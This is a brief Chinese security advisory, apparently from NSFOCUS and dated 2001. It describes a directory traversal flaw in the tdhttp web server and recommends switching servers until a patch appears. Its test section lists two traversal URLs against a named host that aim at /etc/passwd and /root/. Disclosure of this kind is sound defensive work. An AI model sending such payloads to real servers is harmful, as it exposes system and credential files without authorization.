发布日期：2001-02-14
更新日期：2001-02-14

受影响系统：

tdhttp

描述：

---

tdhttp的http.c存在设计上的疏忽，允许利用"../"的古老技术进行服务端目录遍历。

<* 来源：UkR-XblP (cuctema@ok.ru) *>





测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.timduff.com/../../../../../../../../../../etc/passwd
http://www.timduff.com/../../../../../../../../../../root/


建议：

---

临时解决方法：

NSFOCUS建议您暂时换用其他的web server,例如apache

厂商补丁：

暂无

浏览次数：3645
严重程度：0（网友投票）